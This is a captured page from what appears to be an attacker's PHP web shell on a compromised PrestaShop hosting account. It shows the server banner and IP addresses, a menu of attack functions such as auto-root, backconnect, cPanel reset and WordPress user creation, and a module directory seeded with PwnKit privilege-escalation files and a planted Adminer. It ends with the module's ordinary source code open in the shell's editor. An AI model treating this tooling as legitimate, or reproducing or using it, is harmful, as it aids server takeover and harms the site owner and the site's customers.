Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
ps_dataprivacy /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
composer.lock
63.63
KB
-rw----r--
config.xml
476
B
-rw----r--
config_fr.xml
552
B
-rw-rw-r--
index.php
1.35
KB
-rw----r--
logo.png
7.58
KB
-rw----r--
ps_dataprivacy.php
7.66
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ps_dataprivacy.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License 3.0 (AFL-3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/AFL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/AFL-3.0 Academic Free License 3.0 (AFL-3.0) */ if (!defined('_PS_VERSION_')) { exit; } class Ps_Dataprivacy extends Module { protected $templateFile; public function __construct() { $this->name = 'ps_dataprivacy'; $this->author = 'PrestaShop'; $this->version = '2.0.1'; $this->need_instance = 0; $this->bootstrap = true; parent::__construct(); $this->displayName = $this->trans('Customer data privacy block', [], 'Modules.Dataprivacy.Admin'); $this->description = $this->trans( 'Reassure your customers, display a short notice to let them know you care about privacy.', [], 'Modules.Dataprivacy.Admin' ); $this->ps_versions_compliancy = ['min' => '1.7.2.0', 'max' => _PS_VERSION_]; } public function install() { return parent::install() && $this->registerHook('additionalCustomerFormFields') && $this->registerHook('actionSubmitAccountBefore') && $this->installFixtures(); } public function uninstall() { return $this->unregisterHook('additionalCustomerFormFields') && $this->unregisterHook('actionBeforeSubmitAccount') && parent::uninstall(); } public function getContent() { $output = ''; if (Tools::isSubmit('submitCustPrivMess')) { $message_trads = ['auth' => []]; foreach ($_POST as $key => $value) { if (preg_match('/CUSTPRIV_MSG_AUTH_/i', $key)) { $id_lang = preg_split('/CUSTPRIV_MSG_AUTH_/i', $key); $message_trads['auth'][(int) $id_lang[1]] = $value; } } Configuration::updateValue('CUSTPRIV_MSG_AUTH', $message_trads['auth'], true); $this->_clearCache('*'); $output .= $this->displayConfirmation($this->trans('The settings have been updated.', [], 'Admin.Notifications.Success')); } return $output . $this->renderForm(); } protected function _clearCache($template, $cache_id = null, $compile_id = null) { return parent::_clearCache($this->templateFile); } /** * Add an extra FormField to ask for data privacy consent. * * @param array $params * * @return array<int, FormField> */ public function hookAdditionalCustomerFormFields($params) { $label = $this->trans( 'Customer data privacy[1][2]%message%[/2]', [ '[1]' => '<br>', '[2]' => '<em>', '%message%' => Configuration::get('CUSTPRIV_MSG_AUTH', $this->context->language->id), '[/2]' => '</em>', ], 'Modules.Dataprivacy.Shop' ); $formField = (new FormField()) ->setName('customer_privacy') ->setType('checkbox') ->setLabel($label) ->setRequired(true); return [$formField]; } public function renderForm() { $fields_form = [ 'form' => [ 'legend' => [ 'title' => $this->trans('Settings', [], 'Admin.Global'), 'icon' => 'icon-cogs', ], 'input' => [ [ 'type' => 'textarea', 'lang' => true, 'autoload_rte' => true, 'label' => $this->trans( 'Customer data privacy message for customer form:', [], 'Modules.Dataprivacy.Admin' ), 'name' => 'CUSTPRIV_MSG_AUTH', 'desc' => $this->trans('The customer data privacy message will be displayed in the customer form', [], 'Modules.Dataprivacy.Admin' ) . '<br>' . $this->trans( 'Tip: If the customer privacy message is too long to be written directly in the form, you can add a link to one of your pages. This can easily be created via the "Pages" page under the "Design" menu.', [], 'Modules.Dataprivacy.Admin' ), ], ], 'submit' => [ 'title' => $this->trans('Save', [], 'Admin.Actions'), ], ], ]; $lang = new Language((int) Configuration::get('PS_LANG_DEFAULT')); $helper = new HelperForm(); $helper->show_toolbar = false; $helper->table = $this->table; $helper->default_form_language = $lang->id; $helper->allow_employee_form_lang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; $helper->identifier = $this->identifier; $helper->submit_action = 'submitCustPrivMess'; $helper->currentIndex = $this->context->link->getAdminLink('AdminModules', false) . '&configure=' . $this->name . '&tab_module=' . $this->tab . '&module_name=' . $this->name; $helper->token = Tools::getAdminTokenLite('AdminModules'); $helper->tpl_vars = [ 'fields_value' => $this->getConfigFieldsValues(), 'languages' => $this->context->controller->getLanguages(), 'id_language' => $this->context->language->id, ]; return $helper->generateForm([$fields_form]); } public function getConfigFieldsValues() { $return = []; $languages = Language::getLanguages(false); foreach ($languages as $lang) { $return['CUSTPRIV_MSG_AUTH'][(int) $lang['id_lang']] = Tools::getValue( 'CUSTPRIV_MSG_AUTH_' . (int) $lang['id_lang'], Configuration::get('CUSTPRIV_MSG_AUTH', (int) $lang['id_lang']) ); } return $return; } private function installFixtures() { $languages = Language::getLanguages(); foreach ($languages as $lang) { Configuration::updateValue('CUSTPRIV_MSG_AUTH', [ $lang['id_lang'] => $this->trans( 'The personal data you provide is used to answer queries, process orders or allow access to specific information. You have the right to modify and delete all the personal information found in the "My Account" page.', [], 'Modules.Dataprivacy.Admin', $lang['locale']), ]); } return true; } }
Close